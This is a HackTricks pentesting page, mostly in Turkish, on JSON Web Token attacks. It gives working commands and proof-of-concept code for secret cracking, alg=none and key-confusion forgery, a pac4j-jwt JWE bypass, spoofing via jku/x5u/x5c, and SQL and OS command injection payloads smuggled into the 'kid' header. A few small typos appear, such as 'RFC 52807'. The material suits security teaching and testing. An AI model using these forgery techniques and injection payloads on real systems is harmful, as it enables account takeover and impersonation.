JWT Vulnerabilities (Json Web Tokens)

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Bu gönderinin bir kısmı şu harika gönderiye dayanmaktadır: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT’leri pentest etmek için harika aracın yazarı https://github.com/ticarpi/jwt_tool

Quick Wins

jwt_tool aracını All Tests! modu ile çalıştırın ve yeşil çizgileri bekleyin

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Şanslıysanız, araç web uygulamasının JWT’yi yanlış kontrol ettiği bir durum bulacaktır:

Sonra, proxy’nizde isteği arayabilir veya bu istek için kullanılan JWT’yi jwt_ tool kullanarak dump edebilirsiniz:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Ayrıca Burp’tan JWT attacks başlatmak için Burp Extension SignSaboteur kullanabilirsiniz.

Pratik JWT assessment workflow

  • Session control’ü kapsamlandırın: Kullanıcıya özel bir request seçin (örn. profile, billing). Request reddedilene kadar cookie/header’ları teker teker kaldırın; böylece gerçekten authorization’ı hangi token(lar)ın kontrol ettiğini izole edersiniz.
  • Traffic içinde JWT’leri bulun: Bunlar genelde Authorization: Bearer <JWT> içinde olur, ancak custom header’larda veya cookie’lerde de görünebilir. Burp bunları vurgulamıyorsa, Target → Site map → Engagement tools → Search altında şu regex pattern’leri kullanın:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decode edin ve enumerate edin: Header/payload okumak için Burp JWT Editor veya python3 jwt_tool.py <JWT> kullanın. alg, exp/token lifetime ve authn/authz’yi yöneten claim’leri (role, id, username, email, etc.) not edin.
  • Signature enforcement sanity check: Signature kısmında birkaç byte’ı değiştirin veya silin ve tekrar gönderin. Kabul edilmesi, signature validation eksik demektir ve payload claim’lerini doğrudan değiştirebilirsiniz.
  • Hedef: Privilege escalation için payload claim’lerini değiştirin; aşağıdaki her attack, zayıf verification, zayıf secret’lar veya güvensiz key selection’ı kötüye kullanarak server’ın değiştirilmiş bir payload’u kabul etmesini sağlamayı amaçlar.

Veri üzerinde hiçbir şeyi değiştirmeden tamper yapma

Signature’ı olduğu gibi bırakıp sadece veriyi tamper ederek server’ın signature’ı kontrol edip etmediğini test edebilirsiniz. Örneğin username’inizi “admin” olarak değiştirmeyi deneyin.

Token kontrol ediliyor mu?

Bir JWT signature’ının doğrulanıp doğrulanmadığını anlamak için:

  • Bir error message, doğrulamanın sürdüğünü gösterir; verbose error’larda hassas detaylar varsa incelenmelidir.
  • Dönen sayfadaki bir değişiklik de verification olduğunu gösterir.
  • Değişiklik olmaması verification olmadığını gösterir; payload claim’leri üzerinde tamper denemeleri yapmak için uygun durum budur.

Origin

Token’ın server-side mı yoksa client-side mı üretildiğini proxy’nin request history’sini inceleyerek belirlemek önemlidir.

  • Client tarafında ilk görülen token’lar, key’in client-side code içinde açığa çıkmış olabileceğini düşündürür ve daha fazla inceleme gerektirir.
  • Server-side kaynaklı token’lar güvenli bir sürece işaret eder.

Süre

Token’ın 24 saatten fazla sürüp sürmediğini kontrol edin… belki de hiç expire olmuyordur. Eğer bir “exp” alanı varsa, server’ın bunu doğru ele alıp almadığını kontrol edin.

Brute-force HMAC secret

Bu sayfaya bakın.

Header HS256 kullanıyorsa, token’ı bir dosyaya aktarın ve offline cracking deneyin:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Sır gizemi geri alındığında, onu Burp JWT Editor içinde simetrik bir key olarak yükleyin ve değiştirilmiş claims’leri yeniden imzalayın.

Sızdırılmış config + DB data’dan JWT secrets türetme

Eğer bir arbitrary file read (veya backup leak), hem application encryption material hem de user records ifşa ederse, bazen JWT signing secret’ı yeniden oluşturabilir ve herhangi bir plaintext password bilmeden session cookie’leri forge edebilirsiniz. Workflow automation stack’lerinde gözlemlenen örnek pattern:

  1. App key’i (örn. encryptionKey) bir config file’dan leak edin.
  2. email, password_hash ve user_id almak için user table’ı leak edin.
  3. Key’den signing secret’ı türetin, ardından JWT payload içinde beklenen user-bazlı hash’i türetin:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. İmzalanmış token’ı session cookie içine bırakın (ör. n8n-auth) böylece parola hash’i salted olsa bile user/admin account’unu taklit edebilirsiniz.

Algorithm’i None olarak değiştirin

Kullanılan algorithm’i “None” olarak ayarlayın ve signature kısmını kaldırın.

Bu vulnerability’yi denemek ve JWT içindeki farklı değerleri değiştirmek için Burp extension call “JSON Web Token” kullanın (request’i Repeater’a gönderin ve “JSON Web Token” tabında token’ın değerlerini değiştirebilirsiniz. Ayrıca “Alg” alanının değerini “None” olarak ayarlamayı da seçebilirsiniz).

JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)

Bazı stack’ler, encrypted bir JWE içine sarılmış signed inner JWT bekler. Vulnerable pac4j-jwt sürümlerinde (4.5.9, 5.7.9 ve 6.3.3 öncesi), authenticator JWE’yi decrypt eder, payload’ı signed JWT olarak parse etmeye çalışır ve bu dönüşüm başarılı olursa signature’ı doğrular. Eğer decrypt edilen payload bir PlainJWT ise (alg=none), toSignedJWT() null döndürür ve signature verification yolu atlanır.

  • Pre-reqs:
  • Application, JWE bearer tokens kabul eder
  • Server public key’si açıktır (genellikle JWKS üzerinden, örneğin /.well-known/jwks.json veya /api/auth/jwks)
  • Authorization, attacker-controlled claims gibi sub, role, groups veya scope’a bağlıdır
  • Impact: yalnızca public key kullanarak herhangi bir user/role için encrypted token forge edin

Pratik kontroller:

  • RSA-OAEP-256, A128GCM/A256GCM, jwks veya “inner JWT is signed” diyen yorumlar gibi ipuçları için frontend / API docs’u enumerate edin.
  • JWKS’yi çekin ve RSA key’i n/e üzerinden import edin.
  • Inner token’ı manuel olarak base64url(header) + "." + base64url(payload) + "." şeklinde oluşturun; böylece signature boş kalır.
  • Bu plaintext JWT’yi exposed public key kullanarak bir JWE olarak encrypt edin ve bearer token olarak yeniden gönderin.

Minimal PlainJWT construction:

header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)

JWKS’teki RSA public key ile kompakt bir JWE olarak şifreleyin:

rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)

Notlar:

  • Eğer JWT library alg=none üretmeyi reddederse, yukarıda gösterildiği gibi compact token’ı manuel olarak oluşturun.
  • enc değeri hedef tarafından kabul edilenlerden biriyle eşleşmelidir; frontend comments ve legitimate token’lar bunu çoğu zaman açıkça gösterir.
  • SPAs içinde, bearer token’ın sessionStorage, localStorage ya da JS erişimli bir cookie içinde saklanıp saklanmadığını kontrol edin; sahte token’ı oraya bırakmak çoğu zaman bypass’ı hızlıca doğrulamak için yeterlidir.

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Burp JWT Editor kullanarak RSA public key’i /.well-known/jwks.json içinden ya da bir PEM’den import edin ve HS256 yeniden imzalama denemesini otomatikleştirmek için Attack → HMAC Key Confusion Attack çalıştırın.

Header içine yeni public key ekleme

Bir attacker, token’ın header’ına yeni bir key gömer ve server signature’ı doğrulamak için bu yeni key’i kullanır (CVE-2018-0114).

Bu, “JSON Web Tokens” Burp extension ile yapılabilir.
(Request’i Repeater’a gönderin, JSON Web Token tabında “CVE-2018-0114” seçin ve request’i gönderin).

JWKS Spoofing

Talimatlar, özellikle “jku” header claim’i kullanan JWT token’ların güvenliğini değerlendirmek için bir yöntem ayrıntılandırır. Bu claim, token’ın doğrulanması için gerekli public key’i içeren bir JWKS (JSON Web Key Set) dosyasına işaret etmelidir.

  • “jku” Header’ı ile Token’ları Değerlendirme:

  • “jku” claim’inin URL’sini doğrulayarak uygun JWKS dosyasına yöneldiğinden emin olun.

  • Token’ın “jku” değerini, trafiği gözlemlemeye izin veren kontrollü bir web service’e yönlendirecek şekilde değiştirin.

  • HTTP Interaction İzleme:

  • Belirttiğiniz URL’ye gelen HTTP request’leri gözlemlemek, server’ın sizin verdiğiniz linkten key çekmeye çalıştığını gösterir.

  • Bu süreç için jwt_tool kullanırken, testi kolaylaştırmak amacıyla jwtconf.ini dosyasını kişisel JWKS konumunuzla güncellemek kritik önem taşır.

  • jwt_tool için Komut:

  • Senaryoyu jwt_tool ile simüle etmek için aşağıdaki komutu çalıştırın:

python3 jwt_tool.py JWT_HERE -X s

Kid Sorunları Özeti

kid olarak bilinen opsiyonel header claim’i, belirli bir key’i tanımlamak için kullanılır ve token signature doğrulaması için birden fazla key’in bulunduğu ortamlarda özellikle önem kazanır. Bu claim, bir token’ın signature’ını doğrulamak için uygun key’in seçilmesine yardımcı olur.

“kid” üzerinden Key açığa çıkarma

Header’da kid claim’i mevcutsa, web directory içinde ilgili dosyayı veya varyasyonlarını aramanız önerilir. Örneğin "kid":"key/12345" belirtilmişse, web root altında /key/12345 ve /key/12345.pem dosyaları aranmalıdır.

“kid” ile Path Traversal

kid claim’i dosya sisteminde gezinmek için de kötüye kullanılabilir; bu da keyfi bir dosyanın seçilmesine olanak tanıyabilir. JWT’yi, orijinal signature’ı korurken kid değerini değiştirmek için -T flag’i jwt_tool içinde kullanılabilir; aşağıda gösterildiği gibi:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Belirli içeriğe sahip dosyaları hedefleyerek, geçerli bir JWT forge etmek mümkündür. Örneğin, Linux sistemlerindeki /proc/sys/kernel/randomize_va_space dosyası, 2 değerini içerdiği bilindiğinden, JWT oluşturma için simetrik parola olarak 2 ile kid parametresinde kullanılabilir.

Kırılgan dosya-sistemi key yükleme için pratik bir desen, JWK k değeri AA== olarak ayarlanmış bir HS256 key üretmek, kid değerini ../../../../../../../dev/null gibi bir traversal’a ayarlamak ve yeniden imzalamaktır—bazı implementations boş dosyayı geçerli bir HMAC secret olarak değerlendirir ve forge edilmiş token’ları kabul eder.

SQL Injection via “kid”

Eğer kid claim’inin içeriği bir veritabanından password almak için kullanılıyorsa, kid payload’ı değiştirilerek bir SQL injection mümkün olabilir. JWT signing sürecini değiştirmek için SQL injection kullanan örnek bir payload şudur:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Bu değişiklik, JWT signing için bilinen bir secret key olan ATTACKER’ın kullanılmasını zorlar.

OS Injection through “kid”

kid parametresinin bir dosya yolunu belirttiği ve bunun bir command execution bağlamında kullanıldığı bir senaryo, Remote Code Execution (RCE) vulnerabilities’a yol açabilir. kid parametresine komutlar enjekte ederek private key’leri açığa çıkarmak mümkündür. RCE ve key ifşası elde etmek için örnek payload:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku, JWK Set URL anlamına gelir.
Eğer token bir “jku” Header claim’i kullanıyorsa, sağlanan URL’yi kontrol edin. Bu, token’ı doğrulamak için Public Key’i barındıran JWKS dosyasını içeren bir URL’yi işaret etmelidir. Token’ı değiştirerek jku değerini, trafiğini izleyebileceğiniz bir web service’e yönlendirin.

İlk olarak yeni private ve public key’lerle yeni bir certificate oluşturmanız gerekir

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Daha sonra örneğin jwt.io kullanarak oluşturulan public ve private key’ler ile ve jku parametresini oluşturulan certificate’a işaret edecek şekilde yeni JWT oluşturabilirsiniz. Geçerli bir jku certificate oluşturmak için orijinal olanı indirebilir ve gerekli parametreleri değiştirebilirsiniz.

“e” ve “n” parametrelerini bir public certificate üzerinden şu şekilde elde edebilirsiniz:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Eğer verifier anahtar materyalini uzaktan çekiyorsa, jku/x5u içine JWT Editor → Attack → Embed Collaborator payload kullanarak bir Burp Collaborator URL’si gömün. Gelen herhangi bir callback, SSRF-style key retrieval olduğunu doğrular; ardından o URL’de kendi JWKS/PEM’inizi barındırın ve kendi private key’inizle yeniden imzalayın, böylece service attacker-minted token’ları doğrular.

x5u

X.509 URL. PEM formunda kodlanmış bir X.509 (bir certificate format standardı) public certificates kümesine işaret eden bir URI. Kümedeki ilk certificate, bu JWT’yi imzalamak için kullanılan certificate olmalıdır. Sonraki certificates her biri bir önceki certificate’i imzalar ve böylece certificate chain’i tamamlar. X.509, RFC 52807’de tanımlanmıştır. Certificates’i transfer etmek için transport security gereklidir.

Bu header’ı kontrolünüz altındaki bir URL’ye değiştirmeyi deneyin ve herhangi bir request alınıp alınmadığını kontrol edin. Bu durumda JWT’yi tamper edebilirsiniz.

Kontrolünüzde olan bir certificate kullanarak yeni bir token forge etmek için, certificate’i oluşturmanız ve public ile private keys’i çıkarmanız gerekir:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Sonra örneğin jwt.io kullanarak oluşturulan public ve private keys ile yeni JWT’yi oluşturabilir ve x5u parameter’ını oluşturulan .crt certificate’ına yönlendirebilirsiniz.

Bu iki vulns’i SSRFs için de istismar edebilirsiniz.

x5c

Bu parameter base64 içinde certificate içerebilir:

Eğer attacker self-signed certificate oluşturur ve ilgili private key ile forged token üretir, ardından “x5c” parameter’ının değerini yeni oluşturulan certificate ile değiştirir ve diğer parameter’leri, yani n, e ve x5t’yi değiştirirse, temelde forged token server tarafından kabul edilir.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Gömülü Public Key (CVE-2018-0114)

Eğer JWT, aşağıdaki senaryodaki gibi gömülü bir public key içeriyorsa:

Aşağıdaki nodejs script ile bu veriden bir public key oluşturmak mümkündür:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Yeni bir private/public key oluşturmak, yeni public key’i token içine yerleştirmek ve bunu yeni bir signature oluşturmak için kullanmak mümkündür:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Bu nodejs scriptini kullanarak “n” ve “e” değerlerini elde edebilirsiniz:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Son olarak, public ve private key ile yeni “n” ve “e” değerlerini kullanarak jwt.io ile herhangi bir bilgi içeren yeni geçerli bir JWT forge edebilirsiniz.

ES256: Aynı nonce ile private key’in açığa çıkması

Eğer bazı uygulamalar ES256 kullanıyor ve iki jwt oluşturmak için aynı nonce değerini kullanıyorsa, private key geri kazanılabilir.

İşte bir örnek: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

JTI (JWT ID) claim’i, bir JWT Token için benzersiz bir tanımlayıcı sağlar. Token’ın replay edilmesini önlemek için kullanılabilir.
Ancak, ID’nin maksimum uzunluğunun 4 olduğu bir durum hayal edin (0001-9999). 0001 ve 10001 istekleri aynı ID’yi kullanacaktır. Yani backend her istekte ID’yi incrementig ediyorsa, bunu kötüye kullanarak bir isteği replay etmek mümkün olabilir (her başarılı replay arasında 10000 istek göndermek gerekse de).

JWT Registered claims

JSON Web Token (JWT)

Diğer saldırılar

Cross-service Relay Attacks

Bazı web uygulamalarının token’larının oluşturulması ve yönetimi için trusted bir JWT service’e dayandığı gözlemlenmiştir. JWT service tarafından bir client için üretilen bir token’ın, aynı JWT service’in başka bir client’ı tarafından kabul edildiği vakalar kaydedilmiştir. Bir üçüncü taraf servis üzerinden JWT issuance veya renewal gözlemlenirse, aynı username/email kullanılarak o servisin başka bir client’ında account açma ihtimali araştırılmalıdır. Ardından elde edilen token’ın target’a yapılan bir request içinde replay edilip kabul edilip edilmediği kontrol edilmelidir.

  • Token’ınızın kabul edilmesi kritik bir issue anlamına gelebilir ve herhangi bir kullanıcının account’ının spoofing edilmesine izin verebilir. Ancak, üçüncü taraf bir uygulamada sign up yapılması daha geniş testing izni gerektirebilir; çünkü bu durum hukuki bir gri alana girebilir.

Expiry Check of Tokens

Token’ın expiry kontrolü “exp” Payload claim’i kullanılarak yapılır. JWT’ler çoğu zaman session bilgisi olmadan kullanıldığından, dikkatli handling gerekir. Birçok durumda, başka bir kullanıcının JWT’sini capture edip replay etmek o kullanıcının impersonation’ına izin verebilir. JWT RFC, token için bir expiry time belirlemek üzere “exp” claim’ini kullanarak JWT replay attacks’i azaltmayı önerir. Ayrıca, uygulamanın bu değeri işlediğini ve expired token’ları reddettiğini doğrulayan gerekli checks’in uygulanması kritik öneme sahiptir. Token “exp” claim’i içeriyorsa ve testing time limits izin veriyorsa, token’ı saklayıp expiry time geçtikten sonra replay etmeniz tavsiye edilir. Timestamp parsing ve expiry checking (UTC timestamp dahil) gibi token içeriği jwt_tool’un -R flag’i ile okunabilir.

  • Uygulama yine de token’ı validate ediyorsa bir security risk mevcut olabilir; bu da token’ın asla expire olmayabileceği anlamına gelebilir.

Tools

  • jwt_tool – decoding, claim/header tampering, offline secret cracking (-C) ve semi-automated attack modes (-M at).
  • Burp JWT Editor – Repeater içinde decode/re-sign, custom keys oluşturma ve yerleşik saldırıları çalıştırma (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – JWT’leri bir wordlist’e export ettikten sonra GPU-accelerated HS256 secret cracking.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin